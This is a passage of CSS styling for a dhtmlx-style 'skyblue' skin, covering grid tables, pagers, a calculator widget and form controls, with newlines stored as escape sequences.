none;\n  user-select: none;\n}\ndiv.gridbox table.hdr td div.hdrcell {\n  overflow: hidden;\n}\ndiv.gridbox table.obj td {\n  border: 1px solid;\n  border-color: #ffffff #808080 #808080 #ffffff;\n  overflow: hidden;\n  padding-top: 0px;\n  padding-bottom: 0px;\n  empty-cells: show;\n  white-space: normal;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n}\ndiv.gridbox table.obj th,\ndiv.gridbox table.hdr th {\n  padding: 0px;\n  margin: 0px;\n}\ndiv.gridbox table.row20px tr td {\n  height: 20px;\n  white-space: nowrap;\n  padding: 0px;\n}\ndiv.gridbox .objbox {\n  background-color: #ffffff;\n  position: relative;\n  -webkit-overflow-scrolling: touch;\n}\ndiv.gridbox table.obj td span.space,\ndiv.gridbox table.obj td img.space {\n  width: 18px;\n}\ndiv.gridbox table.obj td.editable {\n  -webkit-user-select: text;\n  -khtml-user-select: text;\n  -moz-user-select: text;\n  -ms-user-select: text;\n  -o-user-select: text;\n  user-select: text;\n}\ndiv.gridbox table.obj td.group_row {\n  vertical-align: middle;\n  font-family: Tahoma;\n  font-size: 10pt;\n  font-weight: bold;\n  height: 30px;\n  border: 0px;\n  border-bottom: 2px solid navy;\n}\n.dragSpanDiv {\n  font-family: Tahoma;\n  font-size: 12px;\n  border: 1px gray solid;\n  background-color: #ffffff;\n  z-index: 999;\n}\n.dhx_combo_select {\n  border: 1px solid;\n  border-color: black silver silver black;\n  background-color: #ffffff;\n  overflow: auto;\n  cursor: default;\n  position: absolute;\n  height: auto;\n  z-index: 600;\n}\n.dhx_combo_edit {\n  width: 100%;\n  border: 0px;\n  padding: 0px;\n  padding-right: 1px !ie;\n  margin: 0px;\n  overflow: hidden;\n}\n.gridbox_dhx_skyblue textarea.dhx_combo_edit {\n  margin-bottom: -6px;\n}\n.dhx_textarea {\n  border: 1px solid;\n  border-color: black silver silver black;\n  position: absolute;\n  height: 100px;\n  z-index: 600;\n}\n.dhx_clist {\n  background-color: #ffffff;\n  border: 1px solid black;\n  padding: 2px 2px 2px 2px;\n  z-index: 300;\n}\n.gridDragLine {\n  position: absolute;\n  top: 10px;\n  left: 0px;\n  width: 100%;\n  height: 2px;\n  background-color: black;\n  overflow: hidden;\n}\n/*paginal output*/\ndiv.pagingBlock .pagingCurrentPage {\n  font-weight: bold;\n  cursor: default;\n}\ndiv.pagingBlock .pagingPage {\n  cursor: pointer;\n  text-decoration: underline;\n}\ndiv.pagingBlock a {\n  text-decoration: none;\n  padding-right: 2px;\n  color: black;\n  cursor: pointer;\n}\ndiv.pagingBlock a.dhx_not_active {\n  text-decoration: none;\n  cursor: default;\n}\n.toolbar_select {\n  font-size: 10px;\n}\n.dhtmlxGrid_selection {\n  opacity: 0.5;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=50);\n  background-color: yellow;\n  border: 1px dotted black;\n}\ndiv.gridbox div.ftr {\n  position: absolute;\n  left: 0px;\n  bottom: 1px;\n  width: 100%;\n  overflow: hidden;\n}\ndiv.gridbox div.ftr td {\n  padding: 0px;\n  padding-left: 10px;\n  padding-right: 5px;\n  border-top: 1px solid gray;\n  border-right: 1px solid gray;\n  background-color: #ffffcc;\n  font-style: italic;\n  overflow: hidden;\n}\ndiv.gridbox table.hdr td.columnTargetR div.hdrcell {\n  border-right: 3px double #FF6600;\n  border-left: 3px solid #D4D0C8;\n}\ndiv.gridbox table.hdr td.columnTargetL div.hdrcell {\n  border-right: 3px solid #D4D0C8;\n  border-left: 3px double #FF6600;\n}\n.dhx_dragColDiv {\n  background-color: #D4D0C8;\n  border: 1px solid;\n  border-color: #ffffff #808080 #808080 #ffffff;\n  text-align: center;\n  margin: 0px;\n  padding: 5px 20px 5px 20px;\n  font-weight: normal;\n  opacity: 0.75;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=75);\n}\n.dhtmlx_live_validation_error {\n  background-color: #FFE0E0 !important;\n}\n.dhtmlx_validation_error {\n  border-bottom: 2px solid red !important;\n}\n.dhx_header_cmenu {\n  background-color: #ffffff;\n  border: 2px outset silver;\n  z-index: 2;\n}\n.dhx_header_cmenu_item {\n  white-space: nowrap;\n}\ndiv.gridboxgridbox_dhx_skyblue div.ftr td {\n  text-align: right;\n  color: #000000;\n  background-color: #ececec;\n  background: linear-gradient(#ececec, #e5e5e5);\n  background: -webkit-linear-gradient(#ececec, #e5e5e5);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#ececec, endColorStr=#e5e5e5) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n  border-color: #c3c3c3;\n}\ndiv.gridbox td.filter input,\ndiv.gridbox td.filter select {\n  width: 90%;\n  font-size: 8pt;\n  font-family: Tahoma;\n  -webkit-user-select: text;\n  -khtml-user-select: text;\n  -moz-user-select: text;\n  -ms-user-select: text;\n  -o-user-select: text;\n  user-select: text;\n}\ndiv.gridbox_dhx_skyblue.gridbox .ftr,\ndiv.gridbox_dhx_skyblue.gridbox .xhdr {\n  color: #000000;\n  background-color: #ececec;\n  background: linear-gradient(#ececec, #e5e5e5);\n  background: -webkit-linear-gradient(#ececec, #e5e5e5);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#ececec, endColorStr=#e5e5e5) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n}\ndiv.gridbox_dhx_skyblue.isModern table.hdr tr td {\n  color: #000000;\n  background-color: #ececec;\n  background: linear-gradient(#ececec, #e5e5e5);\n  background: -webkit-linear-gradient(#ececec, #e5e5e5);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#ececec, endColorStr=#e5e5e5) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n}\ndiv.gridbox_dhx_skyblue.isIE table.hdr tr {\n  color: #000000;\n  background-color: #ececec;\n  background: linear-gradient(#ececec, #e5e5e5);\n  background: -webkit-linear-gradient(#ececec, #e5e5e5);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#ececec, endColorStr=#e5e5e5) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n}\ndiv.gridbox_dhx_skyblue.gridbox table.obj tr td {\n  border-width: 0px 0px 0px 0px;\n  padding-right: 4px;\n  padding-left: 4px;\n}\ndiv.gridbox_dhx_skyblue.gridbox table.hdr td div.hdrcell {\n  padding-left: 10px;\n  width: auto;\n}\ndiv.gridbox_dhx_skyblue.gridbox table.hdr td {\n  border-width: 1px 1px 1px 1px;\n  border-color: #efefef #c3c3c3 #c3c3c3 #efefef;\n  background-color: transparent;\n  font-family: Tahoma;\n  font-size: 13px;\n  color: #000000;\n  vertical-align: top;\n  text-align: left;\n  position: relative;\n}\ndiv.gridbox_dhx_skyblue.gridbox {\n  border: 1px solid #c3c3c3;\n}\ndiv.gridbox_dhx_skyblue.gridbox table.obj {\n  font-family: Tahoma;\n  font-size: 13px;\n  color: #000000;\n}\ndiv.gridbox_dhx_skyblue.gridbox table.obj tr td {\n  padding-top: 3px;\n  padding-bottom: 3.2px;\n}\n* html .gridbox_dhx_skyblue.gridbox .obj td {\n  height: auto;\n  padding-top: 3px;\n  padding-bottom: 3px;\n}\ndiv.gridbox_dhx_skyblue.gridbox table.obj.row20px tr td {\n  height: 23px;\n}\ndiv.gridbox_dhx_skyblue.gridbox table.obj tr td {\n  padding-top: 1px;\n  padding-bottom: 1px;\n  border-right: 1px solid #ffffff;\n  border-top: 1px solid #ffffff;\n  border-bottom: 1px solid #ffffff;\n}\ndiv.gridbox_dhx_skyblue.isModern table.obj.row20px tr td {\n  line-height: 23px;\n}\ndiv.gridbox_dhx_skyblue table.obj.row20px tr td.editable {\n  height: 21px;\n  line-height: 21px;\n}\ndiv.gridbox_dhx_skyblue table.obj.row20px tr td.editable .treegrid_cell {\n  margin-top: -2px;\n  height: 21px;\n}\ndiv.gridbox_dhx_skyblue.gridbox table.obj tr td.editable div.treegrid_cell {\n  padding: 1px 4px !important;\n}\ndiv.gridbox_dhx_skyblue.gridbox table.obj tr.rowselected {\n  background-color: #b6d5ff;\n}\ndiv.gridbox_dhx_skyblue.gridbox table.obj tr.rowselected td {\n  background-color: #b6d5ff;\n  color: #000000;\n}\ndiv.gridbox_dhx_skyblue.gridbox table.obj tr.rowselected td,\ndiv.gridbox_dhx_skyblue.gridbox table.obj tr.odd_dhx_skyblue.rowselected td {\n  background-color: #b6d5ff;\n  border-top: 1px solid #b6d5ff;\n  border-bottom: 1px solid #b6d5ff;\n  border-right: 1px solid #b6d5ff;\n}\ndiv.gridbox_dhx_skyblue.gridbox table.obj tr td.cellselected {\n  background-color: #b6d5ff;\n}\ndiv.gridbox_dhx_skyblue.gridbox table.obj tr.odd_dhx_skyblue {\n  background: #f1f1f1;\n  border-top: 1px solid #f1f1f1;\n  border-bottom: 1px solid #f1f1f1;\n}\ndiv.gridbox_dhx_skyblue.gridbox table.obj tr.odd_dhx_skyblue {\n  background: #f1f1f1;\n}\n.dhx_combo_select,\n.gridbox_dhx_skyblue.gridbox .dhx_combo_edit,\n.gridbox_dhx_skyblue.gridbox .dhx_textarea,\ndhx_dragColDiv,\ndiv.gridbox div.ftr td,\ndiv.pagingBlock,\nspan.recordsInfoBlock {\n  font-family: Tahoma;\n  font-size: 13px;\n  -webkit-box-sizing: border-box;\n  -moz-box-sizing: border-box;\n}\n.gridbox_dhx_skyblue .dhx_combo_edit {\n  padding: 1px 0px 1px 1px;\n}\n.gridbox_dhx_skyblue.isIE .dhx_combo_edit {\n  padding: 0px 0px 0px 1px;\n}\n.gridbox_dhx_skyblue.gridbox .dhx_sub_row {\n  background-color: transparent;\n}\n.dhx_header_cmenu {\n  background-color: #ffffff;\n  border: 2px outset silver;\n  z-index: 2;\n}\n.dhx_header_cmenu_item {\n  white-space: nowrap;\n}\n.dhx_pbox {\n  margin-top: 3px;\n  border: 1px solid #D4D0C8;\n  border-top: 0px;\n  font-size: 10px;\n}\n.dhx_pline {\n  background-color: white;\n  margin: -15px 10px 10px 10px;\n  padding: 0px 5px 0px 5px;\n  float: left;\n}\n.dhx_page,\n.dhx_pager_info {\n  margin: 3px;\n  text-align: center;\n  font-family: tahoma;\n  font-size: 12px;\n  float: left;\n  cursor: pointer;\n  color: black;\n  background-color: gray;\n  padding: 1px;\n}\n.dhx_pager_info {\n  white-space: nowrap;\n  background-color: white;\n  margin: -8px 10px 10px 10px;\n  padding: 0px 5px 0px 5px;\n  cursor: default;\n}\n.dhx_page div {\n  background-color: white;\n  width: 16px;\n  height: 17px;\n  vertical-align: middle;\n}\ndiv.dhx_page_active {\n  font-weight: bold;\n  background-color: lightgrey;\n  cursor: default;\n  color: white;\n}\n.dhx_pbox_modern {\n  margin-top: 3px;\n  border: 1px solid #D6D6D6;\n  border-top: 0px;\n  font-size: 10px;\n}\n.dhx_pline_modern {\n  background-color: white;\n  margin: -15px 10px 10px 10px;\n  padding: 0px 5px 0px 5px;\n  float: left;\n}\n.dhx_page_modern,\n.dhx_pager_info_modern {\n  margin: 3px;\n  text-align: center;\n  font-family: tahoma;\n  font-size: 12px;\n  float: left;\n  cursor: pointer;\n  color: #055A78;\n  background-color: #D6D6D6;\n  padding: 1px;\n}\n.dhx_pager_info_modern {\n  white-space: nowrap;\n  background-color: white;\n  margin: -8px 10px 10px 10px;\n  padding: 0px 5px 0px 5px;\n  cursor: default;\n}\n.dhx_page_modern div {\n  background-color: white;\n  width: 16px;\n  height: 17px;\n  vertical-align: middle;\n}\ndiv.dhx_page_active_modern {\n  font-weight: bold;\n  background-color: #055A78;\n  cursor: default;\n  color: white;\n}\n.dhx_pbox_light {\n  margin-top: 3px;\n  border: 1px solid #C2D5DC;\n  border-top: 0px;\n  font-size: 10px;\n}\n.dhx_pline_light {\n  background-color: white;\n  margin: -15px 10px 10px 10px;\n  padding: 0px 5px 0px 5px;\n  float: left;\n}\n.dhx_page_light,\n.dhx_pager_info_light {\n  margin: 3px;\n  text-align: center;\n  font-family: tahoma;\n  font-size: 12px;\n  float: left;\n  cursor: pointer;\n  color: #055A78;\n  background-color: #93AFBA;\n  padding: 1px;\n}\n.dhx_pager_info_light {\n  white-space: nowrap;\n  background-color: white;\n  margin: -8px 10px 10px 10px;\n  padding: 0px 5px 0px 5px;\n  cursor: default;\n}\n.dhx_page_light div {\n  background-color: white;\n  width: 16px;\n  height: 17px;\n  vertical-align: middle;\n}\ndiv.dhx_page_active_light {\n  font-weight: bold;\n  background-color: #D1DFE3;\n  cursor: default;\n  color: white;\n}\n.dhx_pbox_skyblue {\n  margin-top: 3px;\n  border: 1px solid #C2D5DC;\n  border-top: 0px;\n  font-size: 10px;\n}\n.dhx_pline_skyblue {\n  background-color: white;\n  margin: -15px 10px 10px 10px;\n  padding: 0px 5px 0px 5px;\n  float: left;\n}\n.dhx_page_skyblue,\n.dhx_pager_info_skyblue {\n  margin: 3px;\n  text-align: center;\n  font-family: tahoma;\n  font-size: 12px;\n  float: left;\n  cursor: pointer;\n  color: #055A78;\n  background-color: #93AFBA;\n  padding: 1px;\n}\n.dhx_pager_info_skyblue {\n  white-space: nowrap;\n  background-color: white;\n  margin: -8px 10px 10px 10px;\n  padding: 0px 5px 0px 5px;\n  cursor: default;\n}\n.dhx_page_skyblue div {\n  background-color: white;\n  width: 16px;\n  height: 17px;\n  vertical-align: middle;\n}\ndiv.dhx_page_active_skyblue {\n  font-weight: bold;\n  color: #000000;\n  background-color: #ececec;\n  background: linear-gradient(#ececec, #e5e5e5);\n  background: -webkit-linear-gradient(#ececec, #e5e5e5);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#ececec, endColorStr=#e5e5e5) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n  border: 1px solid #c3c3c3;\n  cursor: default;\n  padding: 0px;\n  color: black;\n}\ndiv.dhx_page_active_skyblue div.dhx_page_active_skyblue {\n  border: 0px solid #c3c3c3;\n}\n.calcTable {\n  width: 100px;\n  background-color: silver;\n  border: 1px black solid;\n}\n.calcButton {\n  height: 20px;\n  cursor: pointer;\n  text-align: center;\n  background-color: gray;\n  color: white;\n  font-size: 10px;\n  font-weight: bold;\n  border-top: 1px solid silver;\n  border-right: 1px solid silver;\n}\n.calcPressed {\n  height: 20px;\n  cursor: pointer;\n  text-align: center;\n  background-color: gray;\n  color: white;\n  font-size: 10px;\n  font-weight: bold;\n  border-top: 1px solid black;\n  border-right: 1px solid black;\n}\n.calcInput {\n  background-color: white;\n  font-size: 10px;\n  font-weight: bold;\n  font-family: Tahoma;\n}\n.calkSubmit {\n  padding: 2px;\n  cursor: pointer;\n  text-align: center;\n  background-color: silver;\n  color: white;\n  font-size: 10px;\n  font-weight: bold;\n  border-top: 1px solid white;\n  border-right: 1px solid white;\n}\n.dhxgrid_sort_desc,\n.dhxgrid_sort_asc {\n  width: 9px;\n  height: 8px;\n  background-image: url(\"imgs/dhxgrid_skyblue/sort_desc.gif\");\n  background-repeat: no-repeat;\n  z-index: 10;\n}\n.dhxgrid_sort_asc {\n  background-image: url(\"imgs/dhxgrid_skyblue/sort_asc.gif\");\n  background-repeat: no-repeat;\n}\n.dhxgrid_rh_dhx_skyblue {\n  position: absolute;\n  top: -20px;\n  left: -24px;\n  width: 23px;\n  height: 10px;\n  margin: 0px;\n  padding: 0px;\n  border-width: 0px;\n  font-size: 1px;\n  overflow: hidden;\n}\n.dhxgrid_skin_detect {\n  position: absolute;\n  left: 0px;\n  top: -100px;\n  margin: 0;\n  padding: 0;\n  border: 0px solid white;\n  width: 10px;\n  height: 10px;\n  overflow: hidden;\n}\ndiv.gridbox_dhx_skyblue.gridbox table.obj.row20px tr td img {\n  display: block;\n}\ndiv.gridbox_dhx_skyblue.gridbox table.obj.row20px tr td.group_row img,\ndiv.gridbox_dhx_skyblue.gridbox table.obj.row20px tr td .treegrid_cell img {\n  display: inline;\n}\n.dhxform_obj_dhx_skyblue {\n  font-family: Tahoma;\n  float: left;\n  line-height: normal;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_base {\n  position: relative;\n  float: left;\n}\n.dhxform_obj_dhx_skyblue.dhxform_rtl div.dhxform_base {\n  float: right;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_base_nested {\n  padding: 0px 0px 0px 0px;\n  clear: both;\n  *display: inline-block;\n}\n.dhxform_obj_dhx_skyblue.dhxform_rtl div.dhxform_base_nested {\n  padding: 0px 0px 0px 0px;\n}\n.dhxform_obj_dhx_skyblue.dhxform_block {\n  clear: both;\n}\n.dhxform_obj_dhx_skyblue div.block_dhxform_item_label_left {\n  display: block;\n  clear: both;\n  *clear: none;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_label div.dhxform_label_nav_link,\n.dhxform_obj_dhx_skyblue div.dhxform_label div.dhxform_label_nav_link:visited,\n.dhxform_obj_dhx_skyblue div.dhxform_label div.dhxform_label_nav_link:active,\n.dhxform_obj_dhx_skyblue div.dhxform_label div.dhxform_label_nav_link:hover {\n  outline: none;\n  text-decoration: none;\n  color: inherit;\n  cursor: default;\n  overflow: hidden;\n  white-space: normal;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_label div.dhxform_label_nav_link:focus {\n  color: #6e5656;\n}\n.dhxform_obj_dhx_skyblue div.disabled span.nav_link {\n  color: inherit;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_img,\n.dhxform_obj_dhx_skyblue div.dhxform_actv_c,\n.dhxform_obj_dhx_skyblue div.dhxform_actv_r {\n  width: 18px;\n  height: 18px;\n  font-size: 1px;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_img.chbx0,\n.dhxform_obj_dhx_skyblue div.dhxform_img.chbx1,\n.dhxform_obj_dhx_skyblue div.disabled div.dhxform_img.chbx0,\n.dhxform_obj_dhx_skyblue div.disabled div.dhxform_img.chbx1,\n.dhxform_obj_dhx_skyblue div.dhxform_img.rdbt0,\n.dhxform_obj_dhx_skyblue div.dhxform_img.rdbt1,\n.dhxform_obj_dhx_skyblue div.disabled div.dhxform_img.rdbt0,\n.dhxform_obj_dhx_skyblue div.disabled div.dhxform_img.rdbt1,\n.dhxform_obj_dhx_skyblue div.dhxform_actv_c.chbx0,\n.dhxform_obj_dhx_skyblue div.dhxform_actv_c.chbx1,\n.dhxform_obj_dhx_skyblue div.dhxform_actv_r.rdbt0,\n.dhxform_obj_dhx_skyblue div.dhxform_actv_r.rdbt1 {\n  background-image: url(\"imgs/dhxform_skyblue/dhxform_chbxrd.gif\");\n  background-repeat: no-repeat;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_actv_c.chbx0 {\n  background-position: -162px 0px;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_actv_c.chbx1 {\n  background-position: -144px 0px;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_actv_r.rdbt0 {\n  background-position: -198px 0px;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_actv_r.rdbt1 {\n  background-position: -180px 0px;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_img.chbx0 {\n  background-position: -18px 0px;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_img.chbx1 {\n  background-position: 0px 0px;\n}\n.dhxform_obj_dhx_skyblue div.disabled div.dhxform_img.chbx0 {\n  background-position: -54px 0px;\n}\n.dhxform_obj_dhx_skyblue div.disabled div.dhxform_img.chbx1 {\n  background-position: -36px 0px;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_img.rdbt0 {\n  background-position: -90px 0px;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_img.rdbt1 {\n  background-position: -72px 0px;\n}\n.dhxform_obj_dhx_skyblue div.disabled div.dhxform_img.rdbt0 {\n  background-position: -126px 0px;\n}\n.dhxform_obj_dhx_skyblue div.disabled div.dhxform_img.rdbt1 {\n  background-position: -108px 0px;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_label {\n  font-family: inherit;\n  font-size: inherit;\n  color: #000000;\n  overflow-x: hidden;\n  overflow: hidden;\n  white-space: normal;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_label.dhxform_label_align_left {\n  text-align: left;\n}\n.dhxform_obj_dhx_skyblue.dhxform_rtl div.dhxform_label.dhxform_label_align_left {\n  text-align: right;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_label.dhxform_label_align_center {\n  text-align: center;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_label.dhxform_label_align_right {\n  text-align: right;\n}\n.dhxform_obj_dhx_skyblue.dhxform_rtl div.dhxform_label.dhxform_label_align_right {\n  text-align: left;\n}\n.dhxform_obj_dhx_skyblue div.disabled div.dhxform_label,\n.dhxform_obj_dhx_skyblue div.disabled div.dhxform_label div.dhxform_label_nav_link,\n.dhxform_obj_dhx_skyblue div.disabled div.dhxform_label span.dhxform_item_required {\n  color: #b2b2b2;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_label span.dhxform_item_required {\n  margin-left: 5px;\n  margin-right: 0px;\n  color: red;\n}\n.dhxform_obj_dhx_skyblue.dhxform_rtl div.dhxform_label span.dhxform_item_required {\n  margin-left: 0px;\n  margin-right: 5px;\n}\n.dhxform_obj_dhx_skyblue input.dhxform_textarea {\n  padding: 4px 3px !important;\n  margin: 0px;\n  font-size: 1em;\n}\n.dhxform_obj_dhx_skyblue textarea.dhxform_textarea {\n  padding: 4px 3px !important;\n}\n.dhxform_obj_dhx_skyblue input.dhxform_textarea::-ms-clear,\n.dhxform_obj_dhx_skyblue textarea.dhxform_textarea::-ms-clear {\n  display: none;\n}\n.dhxform_obj_dhx_skyblue .dhxform_textarea {\n  border: 1px solid #c3c3c3;\n  font-family: Tahoma;\n  font-size: 1em;\n  color: #000000;\n  resize: none;\n}\n.dhxform_obj_dhx_skyblue div.disabled .dhxform_textarea {\n  color: #b2b2b2;\n  background-color: white;\n  border: 1px solid #cacecd;\n}\n.dhxform_obj_dhx_skyblue.dhxform_rtl .dhxform_textarea {\n  text-align: right;\n  direction: rtl;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_control.dhxform_img_node {\n  position: relative;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_control.dhxform_img_node .dhxform_textarea {\n  border: 1px solid #ffffff;\n  background-color: white;\n  color: white;\n  visibility: hidden;\n  *height: 1px;\n  *line-height: 1px;\n  *display: inline;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_control.dhxform_img_node div.dhxform_img,\n.dhxform_obj_dhx_skyblue div.dhxform_control.dhxform_img_node div.dhxform_actv_c,\n.dhxform_obj_dhx_skyblue div.dhxform_control.dhxform_img_node div.dhxform_actv_r {\n  float: none;\n  top: 2px;\n  left: 2px;\n  position: absolute;\n  margin: 0px;\n}\n.dhxform_obj_dhx_skyblue.dhxform_rtl div.dhxform_control.dhxform_img_node div.dhxform_img {\n  float: none;\n  top: 2px;\n  left: 0px;\n  position: absolute;\n  margin: 0px;\n}\n.dhxform_obj_dhx_skyblue .dhxform_select {\n  border: 1px solid #c3c3c3;\n  background-color: #ffffff;\n  margin: 0px;\n  padding: 3px 2px 3px 0px;\n  font-family: Tahoma;\n  font-size: 1em;\n  color: #000000;\n}\n.dhxform_obj_dhx_skyblue .dhxform_select option {\n  padding-left: 2px;\n}\n.dhxform_obj_dhx_skyblue div.disabled .dhxform_select {\n  color: #b2b2b2;\n  background-color: #ffffff;\n  border: 1px solid #cacecd;\n}\n.dhxform_obj_dhx_skyblue.dhxform_rtl select,\n.dhxform_obj_dhx_skyblue.dhxform_rtl option {\n  direction: rtl;\n}\n.dhxform_obj_dhx_skyblue div.fs_dhxform_item_label_left,\n.dhxform_obj_dhx_skyblue div.fs_dhxform_item_label_right {\n  padding: 5px 0px 5px 0px;\n}\n.dhxform_obj_dhx_skyblue div.fs_dhxform_item_label_left fieldset.dhxform_fs div.dhxform_base_nested.dhxform_fs_nested,\n.dhxform_obj_dhx_skyblue div.fs_dhxform_item_label_right fieldset.dhxform_fs div.dhxform_base_nested.dhxform_fs_nested {\n  margin-right: 19px;\n  margin-left: 5px;\n}\n.dhxform_obj_dhx_skyblue fieldset.dhxform_fs {\n  border: 1px solid #c3c3c3;\n  margin: 0px;\n  padding: 5px 0 12px 0px;\n  clear: left;\n  width: 100%;\n}\n.dhxform_obj_dhx_skyblue div.disabled fieldset.dhxform_fs {\n  border: 1px solid #cacecd;\n}\n.dhxform_obj_dhx_skyblue fieldset.dhxform_fs legend.fs_legend {\n  font-family: Tahoma;\n  font-size: inherit;\n  color: #9d9d9d;\n  font-weight: normal;\n  padding: 0px 4px 1px 4px;\n  margin-left: 5px;\n  text-align: left;\n}\n.dhxform_obj_dhx_skyblue.dhxform_rtl fieldset.dhxform_fs legend.fs_legend {\n  text-align: right;\n}\n.dhxform_obj_dhx_skyblue div.disabled fieldset.dhxform_fs legend.fs_legend {\n  color: #b2b2b2;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_item_label_right {\n  clear: both;\n  padding-top: 6px;\n  cursor: default;\n  *display: inline-block;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_item_label_right div.dhxform_img,\n.dhxform_obj_dhx_skyblue div.dhxform_item_label_right div.dhxform_actv_c,\n.dhxform_obj_dhx_skyblue div.dhxform_item_label_right div.dhxform_actv_r {\n  float: left;\n  margin: 0px;\n}\n.dhxform_obj_dhx_skyblue.dhxform_rtl div.dhxform_item_label_right div.dhxform_img {\n  float: right;\n  margin: 0px;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_item_label_right div.dhxform_label {\n  float: left;\n  padding: 2px 0px 2px 0px;\n  margin: 2px 0 2px 0px;\n}\n.dhxform_obj_dhx_skyblue.dhxform_rtl div.dhxform_item_label_right div.dhxform_label {\n  float: right;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_item_label_right div.dhxform_control {\n  float: left;\n  margin-right: 3px;\n  margin-left: 0px;\n  *display: inline;\n}\n.dhxform_obj_dhx_skyblue.dhxform_rtl div.dhxform_item_label_right div.dhxform_control {\n  float: right;\n  margin-right: 0px;\n  margin-left: 3px;\n  *display: inline;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_item_label_left {\n  clear: both;\n  padding-top: 6px;\n  cursor: default;\n  *display: inline-block;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_item_label_left div.dhxform_img,\n.dhxform_obj_dhx_skyblue div.dhxform_item_label_left div.dhxform_actv_c,\n.dhxform_obj_dhx_skyblue div.dhxform_item_label_left div.dhxform_actv_r {\n  float: right;\n}\n.dhxform_obj_dhx_skyblue.dhxform_rtl div.dhxform_item_label_left div.dhxform_img {\n  float: left;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_item_label_left div.dhxform_label {\n  float: left;\n  padding: 2px 0px 2px 0px;\n  margin: 2px 0px 2px 0px;\n}\n.dhxform_obj_dhx_skyblue.dhxform_rtl div.dhxform_item_label_left div.dhxform_label {\n  float: right;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_item_label_left div.dhxform_control {\n  float: left;\n  padding-left: 4px;\n  padding-right: 0px;\n}\n.dhxform_obj_dhx_skyblue.dhxform_rtl div.dhxform_item_label_left div.dhxform_control {\n  float: right;\n  padding-right: 4px;\n  padding-left: 0px;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_item_label_top {\n  clear: both;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_item_label_top div.dhxform_label {\n  float: none;\n  margin-bottom: 5px;\n  margin-top: 8px;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_item_label_top div.dhxform_control {\n  float: none;\n  margin-left: 0px;\n  margin-bottom: 5px;\n}\n.dhxform_obj_dhx_skyblue.dhxform_rtl div.dhxform_item_label_top div.dhxform_control {\n  float: none;\n  margin-right: 0px;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_item_absolute {\n  position: absolute;\n  left: 0px;\n  top: 0px;\n  cursor: default;\n}\n.dhxform_obj_dhx_skyblue div.item_absolute div.dhxform_img,\n.dhxform_obj_dhx_skyblue div.item_absolute div.dhxform_actv_c,\n.dhxform_obj_dhx_skyblue div.item_absolute div.dhxform_actv_r {\n  position: absolute;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_item_absolute div.dhxform_control,\n.dhxform_obj_dhx_skyblue div.dhxform_item_absolute div.dhxform_label,\n.dhxform_obj_dhx_skyblue div.dhxform_item_absolute div.dhxform_control.dhxform_img_node,\n.dhxform_obj_dhx_skyblue div.dhxform_item_absolute div.dhxform_txt_label2,\n.dhxform_obj_dhx_skyblue div.dhxform_item_absolute div.dhxform_btn,\n.dhxform_obj_dhx_skyblue div.block_item_absolute div.dhxform_block {\n  position: absolute;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_txt_label2 {\n  font-family: Tahoma;\n  font-size: inherit;\n  color: #9d9d9d;\n  font-weight: bold;\n  margin: 0px 3px;\n  padding: 5px 0px;\n  cursor: default;\n}\n.dhxform_obj_dhx_skyblue div.disabled div.dhxform_txt_label2 {\n  color: #b2b8bc;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_btn {\n  font-family: Tahoma;\n  font-size: inherit;\n  color: #000000;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n  border: 1px solid #c3c3c3;\n  background-color: #ececec;\n  background: linear-gradient(#ececec, #e5e5e5);\n  background: -webkit-linear-gradient(#ececec, #e5e5e5);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#ececec, endColorStr=#e5e5e5) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n  margin: 5px 2px;\n  border-radius: 2px;\n  float: left;\n  cursor: default;\n  clear: both;\n  position: relative;\n  